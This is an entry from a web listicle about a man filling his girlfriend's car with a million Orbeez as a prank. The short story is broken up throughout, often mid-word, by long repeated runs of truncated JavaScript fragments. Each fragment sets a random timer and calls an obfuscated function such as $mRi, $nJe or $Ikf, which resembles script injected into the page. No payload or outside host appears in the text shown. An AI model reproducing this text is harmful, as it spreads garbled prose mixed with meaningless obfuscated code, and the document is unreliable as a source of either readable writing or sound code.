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14 A Rather Innovative Way To Break Up

So this dude here decided to prank his girlfriend in a strange, non-romantic way. He filled her car with one million Orbeez. For those of you who do not know what Orbeez are, they are super-absorbent little balls of polymer which when put in water tend to swell up in size. The kind you put on the surface of indoor plants to retain moisture andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and look pretty. We are also not quite sure why the said girlfriend is still going ahead andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and opening the car – either she has not noticed the Orbeez, or thinks they are Orbeez-printed window shades. Or she knows the gargantuan cleaning task that’s up ahead for her andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and she’s just going to dive straight in!

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